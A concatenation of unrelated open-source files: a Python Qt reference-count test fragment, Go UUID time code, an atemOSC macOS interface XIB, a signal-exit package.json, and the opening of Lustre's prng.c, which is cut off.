QtWidgets.QApplication([]) o = QtWidgets.QTreeView() o.setModel(QtGui.QStandardItemModel()) o.selectionModel().destroyed.connect(self.callback) o.selectionModel().destroyed.disconnect(self.callback) gc.collect() # if this is no debug build, then we check at least that # we do not crash any longer. if not skiptest: total = sys.gettotalrefcount() for idx in range(1000): o.selectionModel().destroyed.connect(self.callback) o.selectionModel().destroyed.disconnect(self.callback) gc.collect() if not skiptest: self.assertTrue(abs(gettotalrefcount() - total) < 10) if __name__ == '__main__': unittest.main()
{ "pile_set_name": "Github" }
// Copyright 2014 Google Inc. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package uuid import ( "encoding/binary" "sync" "time" ) // A Time represents a time as the number of 100's of nanoseconds since 15 Oct // 1582. type Time int64 const ( lillian = 2299160 // Julian day of 15 Oct 1582 unix = 2440587 // Julian day of 1 Jan 1970 epoch = unix - lillian // Days between epochs g1582 = epoch * 86400 // seconds between epochs g1582ns100 = g1582 * 10000000 // 100s of a nanoseconds between epochs ) var ( timeMu sync.Mutex lasttime uint64 // last time we returned clock_seq uint16 // clock sequence for this run timeNow = time.Now // for testing ) // UnixTime converts t the number of seconds and nanoseconds using the Unix // epoch of 1 Jan 1970. func (t Time) UnixTime() (sec, nsec int64) { sec = int64(t - g1582ns100) nsec = (sec % 10000000) * 100 sec /= 10000000 return sec, nsec } // GetTime returns the current Time (100s of nanoseconds since 15 Oct 1582) and // clock sequence as well as adjusting the clock sequence as needed. An error // is returned if the current time cannot be determined. func GetTime() (Time, uint16, error) { defer timeMu.Unlock() timeMu.Lock() return getTime() } func getTime() (Time, uint16, error) { t := timeNow() // If we don't have a clock sequence already, set one. if clock_seq == 0 { setClockSequence(-1) } now := uint64(t.UnixNano()/100) + g1582ns100 // If time has gone backwards with this clock sequence then we // increment the clock sequence if now <= lasttime { clock_seq = ((clock_seq + 1) & 0x3fff) | 0x8000 } lasttime = now return Time(now), clock_seq, nil } // ClockSequence returns the current clock sequence, generating one if not // already set. The clock sequence is only used for Version 1 UUIDs. // // The uuid package does not use global static storage for the clock sequence or // the last time a UUID was generated. Unless SetClockSequence a new random // clock sequence is generated the first time a clock sequence is requested by // ClockSequence, GetTime, or NewUUID. (section 4.2.1.1) sequence is generated // for func ClockSequence() int { defer timeMu.Unlock() timeMu.Lock() return clockSequence() } func clockSequence() int { if clock_seq == 0 { setClockSequence(-1) } return int(clock_seq & 0x3fff) } // SetClockSeq sets the clock sequence to the lower 14 bits of seq. Setting to // -1 causes a new sequence to be generated. func SetClockSequence(seq int) { defer timeMu.Unlock() timeMu.Lock() setClockSequence(seq) } func setClockSequence(seq int) { if seq == -1 { var b [2]byte randomBits(b[:]) // clock sequence seq = int(b[0])<<8 | int(b[1]) } old_seq := clock_seq clock_seq = uint16(seq&0x3fff) | 0x8000 // Set our variant if old_seq != clock_seq { lasttime = 0 } } // Time returns the time in 100s of nanoseconds since 15 Oct 1582 encoded in // uuid. It returns false if uuid is not valid. The time is only well defined // for version 1 and 2 UUIDs. func (uuid UUID) Time() (Time, bool) { if len(uuid) != 16 { return 0, false } time := int64(binary.BigEndian.Uint32(uuid[0:4])) time |= int64(binary.BigEndian.Uint16(uuid[4:6])) << 32 time |= int64(binary.BigEndian.Uint16(uuid[6:8])&0xfff) << 48 return Time(time), true } // ClockSequence returns the clock sequence encoded in uuid. It returns false // if uuid is not valid. The clock sequence is only well defined for version 1 // and 2 UUIDs. func (uuid UUID) ClockSequence() (int, bool) { if len(uuid) != 16 { return 0, false } return int(binary.BigEndian.Uint16(uuid[8:10])) & 0x3fff, true }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <document type="com.apple.InterfaceBuilder3.Cocoa.XIB" version="3.0" toolsVersion="15705" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES"> <dependencies> <deployment identifier="macosx"/> <plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="15705"/> <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/> </dependencies> <objects> <customObject id="-2" userLabel="File's Owner" customClass="NSApplication"> <connections> <outlet property="delegate" destination="494" id="495"/> </connections> </customObject> <customObject id="-1" userLabel="First Responder" customClass="FirstResponder"/> <customObject id="-3" userLabel="Application" customClass="NSObject"/> <menu title="AMainMenu" systemMenu="main" id="29"> <items> <menuItem title="atemOSC" id="56"> <menu key="submenu" title="atemOSC" systemMenu="apple" id="57"> <items> <menuItem title="About atemOSC" id="58"> <modifierMask key="keyEquivalentModifierMask"/> <connections> <action selector="orderFrontStandardAboutPanel:" target="-2" id="142"/> </connections> </menuItem> <menuItem isSeparatorItem="YES" id="236"> <modifierMask key="keyEquivalentModifierMask" command="YES"/> </menuItem> <menuItem title="Preferences…" keyEquivalent="," id="129"/> <menuItem isSeparatorItem="YES" id="143"> <modifierMask key="keyEquivalentModifierMask" command="YES"/> </menuItem> <menuItem title="Services" id="131"> <menu key="submenu" title="Services" systemMenu="services" id="130"/> </menuItem> <menuItem isSeparatorItem="YES" id="144"> <modifierMask key="keyEquivalentModifierMask" command="YES"/> </menuItem> <menuItem title="Hide atemOSC" keyEquivalent="h" id="134"> <connections> <action selector="hide:" target="-1" id="367"/> </connections> </menuItem> <menuItem title="Hide Others" keyEquivalent="h" id="145"> <modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/> <connections> <action selector="hideOtherApplications:" target="-1" id="368"/> </connections> </menuItem> <menuItem title="Show All" id="150"> <connections> <action selector="unhideAllApplications:" target="-1" id="370"/> </connections> </menuItem> <menuItem isSeparatorItem="YES" id="149"> <modifierMask key="keyEquivalentModifierMask" command="YES"/> </menuItem> <menuItem title="Quit atemOSC" keyEquivalent="q" id="136"> <connections> <action selector="terminate:" target="-3" id="449"/> </connections> </menuItem> </items> </menu> </menuItem> <menuItem title="Edit" id="5QF-Oa-p0T"> <modifierMask key="keyEquivalentModifierMask"/> <menu key="submenu" title="Edit" id="W48-6f-4Dl"> <items> <menuItem title="Cut" keyEquivalent="x" id="uRl-iY-unG"> <connections> <action selector="cut:" target="-1" id="DVj-zS-K8D"/> </connections> </menuItem> <menuItem title="Copy" keyEquivalent="c" id="x3v-GG-iWU"> <connections> <action selector="copy:" target="-1" id="YF7-w9-KSg"/> </connections> </menuItem> <menuItem title="Paste" keyEquivalent="v" id="gVA-U4-sdL"> <connections> <action selector="paste:" target="-1" id="Go7-Nq-DxM"/> </connections> </menuItem> <menuItem title="Select All" keyEquivalent="a" id="Ruw-6m-B2m"> <connections> <action selector="selectAll:" target="-1" id="dgY-T4-9gZ"/> </connections> </menuItem> </items> </menu> </menuItem> <menuItem title="Help" id="784"> <modifierMask key="keyEquivalentModifierMask"/> <menu key="submenu" title="Help" id="785"> <items> <menuItem title="OSC addresses" tag="1" id="786"> <modifierMask key="keyEquivalentModifierMask"/> <connections> <action selector="orderFront:" target="770" id="OvV-so-oZa"/> </connections> </menuItem> <menuItem title="Log" id="hsp-RM-dO4"> <modifierMask key="keyEquivalentModifierMask"/> <connections> <action selector="orderFront:" target="0qs-BG-ADh" id="kEL-Dd-Rz1"/> </connections> </menuItem> <menuItem title="Github page" tag="2" id="788"> <modifierMask key="keyEquivalentModifierMask"/> <connections> <action selector="githubPageButtonPressed:" target="494" id="87G-5z-fkX"/> </connections> </menuItem> </items> </menu> </menuItem> </items> <point key="canvasLocation" x="318" y="100"/> </menu> <window title="atemOSC" allowsToolTipsWhenApplicationIsInactive="NO" autorecalculatesKeyViewLoop="NO" releasedWhenClosed="NO" animationBehavior="default" id="371" customClass="SettingsWindow"> <windowStyleMask key="styleMask" titled="YES" closable="YES" miniaturizable="YES"/> <windowPositionMask key="initialPositionMask" leftStrut="YES" rightStrut="YES" topStrut="YES" bottomStrut="YES"/> <rect key="contentRect" x="335" y="426" width="394" height="286"/> <rect key="screenRect" x="0.0" y="0.0" width="1680" height="1050"/> <view key="contentView" id="372"> <rect key="frame" x="0.0" y="0.0" width="394" height="286"/> <autoresizingMask key="autoresizingMask"/> <subviews> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="533"> <rect key="frame" x="17" y="249" width="130" height="17"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="Switcher IP Address:" id="534"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="controlColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="535"> <rect key="frame" x="152" y="247" width="222" height="22"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" state="on" borderStyle="bezel" drawsBackground="YES" id="536"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> <connections> <outlet property="delegate" destination="371" id="fGT-2t-DbP"/> </connections> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="543"> <rect key="frame" x="17" y="219" width="102" height="17"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="Switcher Name:" id="544"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="controlColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="607"> <rect key="frame" x="152" y="217" width="198" height="22"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" sendsActionOnEndEditing="YES" state="on" borderStyle="bezel" drawsBackground="YES" id="608"> <font key="font" metaFont="system"/> <color key="textColor" name="textColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="611"> <rect key="frame" x="17" y="163" width="128" height="17"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="OSC incoming port:" id="612"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="controlColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="631"> <rect key="frame" x="17" y="191" width="128" height="17"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="OSC Out IP Address:" id="632"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="controlColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="615"> <rect key="frame" x="152" y="161" width="64" height="22"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" state="on" borderStyle="bezel" drawsBackground="YES" id="616"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> <connections> <outlet property="delegate" destination="371" id="q8z-FO-ZvQ"/> <outlet property="formatter" destination="754" id="755"/> </connections> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="633"> <rect key="frame" x="152" y="189" width="222" height="22"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" state="on" borderStyle="bezel" drawsBackground="YES" id="634"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> <connections> <outlet property="delegate" destination="371" id="lnd-Xw-brb"/> </connections> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="617"> <rect key="frame" x="310" y="160" width="64" height="22"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" state="on" borderStyle="bezel" drawsBackground="YES" id="618"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> <connections> <outlet property="delegate" destination="371" id="ZDs-6e-Wsf"/> <outlet property="formatter" destination="754" id="756"/> </connections> </textField> <textField verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="619"> <rect key="frame" x="239" y="163" width="66" height="17"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" sendsActionOnEndEditing="YES" title="outgoing:" id="620"> <font key="font" metaFont="system"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="controlColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <levelIndicator verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="731" userLabel="Red Led"> <rect key="frame" x="358" y="218" width="16" height="18"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <levelIndicatorCell key="cell" alignment="left" doubleValue="1" maxValue="1" criticalValue="1" id="732"/> </levelIndicator> <levelIndicator hidden="YES" verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="733" userLabel="Green Led"> <rect key="frame" x="358" y="218" width="16" height="18"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <levelIndicatorCell key="cell" alignment="left" doubleValue="1" maxValue="1" id="734"/> </levelIndicator> <textField verticalHuggingPriority="750" horizontalCompressionResistancePriority="250" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="0Q8-aV-nls"> <rect key="frame" x="17" y="44" width="359" height="83"/> <autoresizingMask key="autoresizingMask"/> <textFieldCell key="cell" selectable="YES" title="N/A" id="Hgo-Rc-rkN"> <font key="font" size="10" name="CourierNewPSMT"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="EKY-Gc-opT"> <rect key="frame" x="16" y="133" width="128" height="19"/> <autoresizingMask key="autoresizingMask"/> <textFieldCell key="cell" lineBreakMode="clipping" title="Latest Message:" id="Pug-DQ-7P5"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <button verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="BZ4-p4-S4h"> <rect key="frame" x="208" y="8" width="172" height="32"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <buttonCell key="cell" type="push" title="Show OSC Addresses" bezelStyle="rounded" alignment="center" borderStyle="border" imageScaling="proportionallyDown" inset="2" id="sUn-gb-4j5"> <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/> <font key="font" metaFont="system"/> </buttonCell> <connections> <action selector="viewAddressesButtonPressed:" target="371" id="re9-pE-yvN"/> </connections> </button> <button verticalHuggingPriority="750" fixedFrame="YES" translatesAutoresizingMaskIntoConstraints="NO" id="04O-TQ-XJL"> <rect key="frame" x="12" y="8" width="121" height="32"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <buttonCell key="cell" type="push" title="View Full Log" bezelStyle="rounded" alignment="center" borderStyle="border" imageScaling="proportionallyDown" inset="2" id="jxk-ZM-I1p"> <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/> <font key="font" metaFont="system"/> </buttonCell> <connections> <action selector="viewLogButtonPressed:" target="371" id="K2d-DY-jSr"/> </connections> </button> </subviews> </view> <connections> <outlet property="addressesMenuOption" destination="786" id="MoV-iw-yad"/> <outlet property="logMenuOption" destination="hsp-RM-dO4" id="gGC-RN-uhs"/> <outlet property="mAddressTextField" destination="535" id="gDl-gI-478"/> <outlet property="mGreenLed" destination="733" id="fqm-UP-vM1"/> <outlet property="mIncomingPortTextField" destination="615" id="cKW-Yc-3DT"/> <outlet property="mLogLabel" destination="0Q8-aV-nls" id="IZu-M7-JWb"/> <outlet property="mOscDeviceTextField" destination="633" id="9cp-R4-Uon"/> <outlet property="mOutgoingPortTextField" destination="617" id="Xyw-Zc-M6M"/> <outlet property="mRedLed" destination="731" id="QRf-Uy-43L"/> <outlet property="mSwitcherNameLabel" destination="607" id="Jp6-WZ-Igu"/> </connections> <point key="canvasLocation" x="-131" y="399"/> </window> <customObject id="494" customClass="AppDelegate"> <connections> <outlet property="helpPanel" destination="770" id="Lcf-dA-98K"/> <outlet property="logTextView" destination="yea-mf-8MA" id="Hc0-Hb-WQr"/> <outlet property="window" destination="371" id="532"/> </connections> </customObject> <customObject id="420" customClass="NSFontManager"/> <numberFormatter formatterBehavior="default10_4" localizesFormat="NO" usesGroupingSeparator="NO" groupingSize="0" minimumIntegerDigits="0" maximumIntegerDigits="42" id="754"> <integer key="minimum" value="1024"/> <real key="maximum" value="65535"/> </numberFormatter> <window title="OSC addresses" allowsToolTipsWhenApplicationIsInactive="NO" autorecalculatesKeyViewLoop="NO" releasedWhenClosed="NO" visibleAtLaunch="NO" animationBehavior="default" id="770" customClass="OSCAddressPanel"> <windowStyleMask key="styleMask" titled="YES" closable="YES" miniaturizable="YES" resizable="YES" utility="YES" HUD="YES"/> <windowPositionMask key="initialPositionMask" leftStrut="YES" rightStrut="YES" topStrut="YES" bottomStrut="YES"/> <rect key="contentRect" x="283" y="305" width="550" height="286"/> <rect key="screenRect" x="0.0" y="0.0" width="1680" height="1050"/> <view key="contentView" id="771"> <rect key="frame" x="0.0" y="0.0" width="550" height="286"/> <autoresizingMask key="autoresizingMask"/> <subviews> <scrollView fixedFrame="YES" borderType="none" horizontalLineScroll="10" horizontalPageScroll="10" verticalLineScroll="10" verticalPageScroll="10" hasHorizontalScroller="NO" usesPredominantAxisScrolling="NO" translatesAutoresizingMaskIntoConstraints="NO" id="772"> <rect key="frame" x="8" y="7" width="534" height="272"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <clipView key="contentView" ambiguous="YES" drawsBackground="NO" copiesOnScroll="NO" id="lkx-iR-wZf"> <rect key="frame" x="0.0" y="0.0" width="534" height="272"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <subviews> <textView ambiguous="YES" editable="NO" drawsBackground="NO" importsGraphics="NO" verticallyResizable="YES" usesFontPanel="YES" findStyle="panel" usesRuler="YES" allowsNonContiguousLayout="YES" spellingCorrection="YES" id="773"> <rect key="frame" x="0.0" y="0.0" width="534" height="272"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <color key="textColor" white="1" alpha="1" colorSpace="calibratedWhite"/> <color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="calibratedWhite"/> <size key="minSize" width="534" height="272"/> <size key="maxSize" width="554" height="10000000"/> <attributedString key="textStorage"> <fragment content="Switcher needs to be connected to show OSC addresses."> <attributes> <color key="NSColor" white="1" alpha="1" colorSpace="calibratedWhite"/> <font key="NSFont" metaFont="user"/> <paragraphStyle key="NSParagraphStyle" alignment="center" lineBreakMode="wordWrapping" baseWritingDirection="natural"/> </attributes> </fragment> </attributedString> <color key="insertionPointColor" white="1" alpha="1" colorSpace="calibratedWhite"/> </textView> </subviews> <color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="calibratedWhite"/> </clipView> <scroller key="horizontalScroller" hidden="YES" wantsLayer="YES" verticalHuggingPriority="750" doubleValue="1" horizontal="YES" id="774"> <rect key="frame" x="-100" y="-100" width="87" height="18"/> <autoresizingMask key="autoresizingMask"/> </scroller> <scroller key="verticalScroller" wantsLayer="YES" verticalHuggingPriority="750" doubleValue="1" horizontal="NO" id="775"> <rect key="frame" x="518" y="0.0" width="16" height="272"/> <autoresizingMask key="autoresizingMask"/> </scroller> </scrollView> </subviews> </view> <connections> <outlet property="helpTextView" destination="773" id="iLy-rZ-3cl"/> </connections> <point key="canvasLocation" x="-144" y="27"/> </window> <window title="Log" allowsToolTipsWhenApplicationIsInactive="NO" autorecalculatesKeyViewLoop="NO" releasedWhenClosed="NO" visibleAtLaunch="NO" animationBehavior="default" id="0qs-BG-ADh" customClass="NSPanel"> <windowStyleMask key="styleMask" titled="YES" closable="YES" miniaturizable="YES" resizable="YES" utility="YES" HUD="YES"/> <windowPositionMask key="initialPositionMask" leftStrut="YES" rightStrut="YES" topStrut="YES" bottomStrut="YES"/> <rect key="contentRect" x="283" y="305" width="389" height="286"/> <rect key="screenRect" x="0.0" y="0.0" width="1680" height="1050"/> <view key="contentView" id="Vth-fT-VkJ"> <rect key="frame" x="0.0" y="0.0" width="389" height="286"/> <autoresizingMask key="autoresizingMask"/> <subviews> <scrollView fixedFrame="YES" borderType="none" horizontalLineScroll="10" horizontalPageScroll="10" verticalLineScroll="10" verticalPageScroll="10" hasHorizontalScroller="NO" usesPredominantAxisScrolling="NO" translatesAutoresizingMaskIntoConstraints="NO" id="YKg-SP-4Gm"> <rect key="frame" x="8" y="7" width="373" height="272"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <clipView key="contentView" ambiguous="YES" drawsBackground="NO" copiesOnScroll="NO" id="Ehi-52-hIa"> <rect key="frame" x="0.0" y="0.0" width="373" height="272"/> <autoresizingMask key="autoresizingMask"/> <subviews> <textView ambiguous="YES" editable="NO" drawsBackground="NO" importsGraphics="NO" verticallyResizable="YES" usesFontPanel="YES" findStyle="panel" usesRuler="YES" allowsNonContiguousLayout="YES" spellingCorrection="YES" id="yea-mf-8MA"> <rect key="frame" x="0.0" y="0.0" width="373" height="272"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <color key="textColor" white="1" alpha="1" colorSpace="calibratedWhite"/> <color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="calibratedWhite"/> <size key="minSize" width="373" height="272"/> <size key="maxSize" width="463" height="10000000"/> <color key="insertionPointColor" white="1" alpha="1" colorSpace="calibratedWhite"/> </textView> </subviews> <color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="calibratedWhite"/> </clipView> <scroller key="horizontalScroller" hidden="YES" wantsLayer="YES" verticalHuggingPriority="750" doubleValue="1" horizontal="YES" id="84T-Yp-D5V"> <rect key="frame" x="-100" y="-100" width="87" height="18"/> <autoresizingMask key="autoresizingMask"/> </scroller> <scroller key="verticalScroller" wantsLayer="YES" verticalHuggingPriority="750" doubleValue="1" horizontal="NO" id="ZBP-Oa-hwz"> <rect key="frame" x="357" y="0.0" width="16" height="272"/> <autoresizingMask key="autoresizingMask"/> </scroller> </scrollView> </subviews> </view> <point key="canvasLocation" x="-144" y="750"/> </window> </objects> </document>
{ "pile_set_name": "Github" }
{ "_args": [ [ { "name": "signal-exit", "raw": "signal-exit@^3.0.0", "rawSpec": "^3.0.0", "scope": null, "spec": ">=3.0.0 <4.0.0", "type": "range" }, "/home/tsayen/projects/dom-to-image/node_modules/loud-rejection" ] ], "_from": "signal-exit@>=3.0.0 <4.0.0", "_id": "[email protected]", "_inCache": true, "_installable": true, "_location": "/signal-exit", "_nodeVersion": "5.1.0", "_npmOperationalInternal": { "host": "packages-16-east.internal.npmjs.com", "tmp": "tmp/signal-exit-3.0.0.tgz_1465857346813_0.7961636525578797" }, "_npmUser": { "email": "[email protected]", "name": "bcoe" }, "_npmVersion": "3.3.12", "_phantomChildren": {}, "_requested": { "name": "signal-exit", "raw": "signal-exit@^3.0.0", "rawSpec": "^3.0.0", "scope": null, "spec": ">=3.0.0 <4.0.0", "type": "range" }, "_requiredBy": [ "/loud-rejection" ], "_resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.0.tgz", "_shasum": "3c0543b65d7b4fbc60b6cd94593d9bf436739be8", "_shrinkwrap": null, "_spec": "signal-exit@^3.0.0", "_where": "/home/tsayen/projects/dom-to-image/node_modules/loud-rejection", "author": { "email": "[email protected]", "name": "Ben Coe" }, "bugs": { "url": "https://github.com/tapjs/signal-exit/issues" }, "dependencies": {}, "description": "when you want to fire an event no matter how a process exits.", "devDependencies": { "chai": "^3.5.0", "coveralls": "^2.11.2", "nyc": "^6.4.4", "standard": "^7.1.2", "standard-version": "^2.3.0", "tap": "^5.7.2" }, "directories": {}, "dist": { "shasum": "3c0543b65d7b4fbc60b6cd94593d9bf436739be8", "tarball": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.0.tgz" }, "files": [ "index.js", "signals.js" ], "gitHead": "2bbec4e5d9f9cf1f7529b1c923d1b058e69ccf7f", "homepage": "https://github.com/tapjs/signal-exit", "keywords": [ "signal", "exit" ], "license": "ISC", "main": "index.js", "maintainers": [ { "email": "[email protected]", "name": "bcoe" }, { "email": "[email protected]", "name": "isaacs" } ], "name": "signal-exit", "optionalDependencies": {}, "readme": "ERROR: No README data found!", "repository": { "type": "git", "url": "git+https://github.com/tapjs/signal-exit.git" }, "scripts": { "coverage": "nyc report --reporter=text-lcov | coveralls", "pretest": "standard", "release": "standard-version", "test": "tap --timeout=240 ./test/*.js --cov" }, "version": "3.0.0" }
{ "pile_set_name": "Github" }
/* * GPL HEADER START * * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 only, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License version 2 for more details (a copy is included * in the LICENSE file that accompanied this code). * * You should have received a copy of the GNU General Public License * version 2 along with this program; If not, see * http://www.sun.com/software/products/lustre/docs/GPLv2.pdf * * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, * CA 95054 USA or visit www.sun.com if you need additional information or * have any questions. * * GPL HEADER END */ /* * Copyright (c) 2007, 2010, Oracle and/or its affiliates. All rights reserved. * Use is subject to license terms. */ /* * This file is part of Lustre, http://www.lustre.org/ * Lustre is a trademark of Sun Microsystems, Inc. * * libcfs/libcfs/prng.c * * concatenation of following two 16-bit multiply with carry generators * x(n)=a*x(n-1)+carry mod 2^16 and y(n)=b*y(n-1)+carry mod 2^16, * number and carry packed within the same 32 bit integer. * algorithm recommended by Marsaglia */ #include "../../include/linux/libcfs/libcfs.h" /* From: George Marsaglia <[email protected]> Newsgroups: sci.math Subject: Re: A RANDOM NUMBER GENERATOR FOR C Date: Tue, 30 Sep 1997 05:29:35 -0700 * You may replace the two constants 36969 and 18000 by any * pair of distinct constants from this list: * 18000 18030 18273 18513 18879 19074 19098 19164 19215 19584 * 19599 19950 20088 20508 20544 20664 20814 20970 21153 21243 * 21423 21723 21954 22125 22188 22293 22860 22938 22965 22974 * 23109 23124 23163 23208 23508 23520 23553 23658 23865 24114 * 24219 24660 24699 24864 24948 25023 25308 25443 26004 26088 * 26154 26550 26679 26838 27183 27258 27753 27795 27810 27834 * 27960 28320 28380 28689 28710 28794 28854 28959 28980 29013 * 29379 29889 30135 30345 30459 30714 30903 30963 31059 31083 * (or any other 16-bit constants k for which both k*2^16-1 * and k*2^15-1 are prime) */ #define RANDOM_CONST_A 18030 #define RANDOM_CONST_B 29013 static unsigned int seed_x = 521288629; static unsigned int seed_y = 362436069; /** * cfs_rand - creates new seeds * * First it creates new seeds from the previous seeds. Then it generates a * new pseudo random number for use. * * Returns a pseudo-random 32-bit integer */ unsigned int cfs_rand(void) { seed_x = RANDOM_CONST_A * (seed_x & 65535) + (seed_x >> 16); seed_y = RANDOM_CONST_B * (seed_y & 65535) + (seed_y >> 16); return ((seed_x << 16) + (seed_y & 65535)); } EXPORT_SYMBOL(cfs_rand); /** * cfs_srand - sets the initial seed * @seed1 : (seed_x) should have the most entropy in the low bits of the word * @seed2 : (seed_y) should have the most entropy in the high bits of the word * * Replaces the original seeds with new values. Used 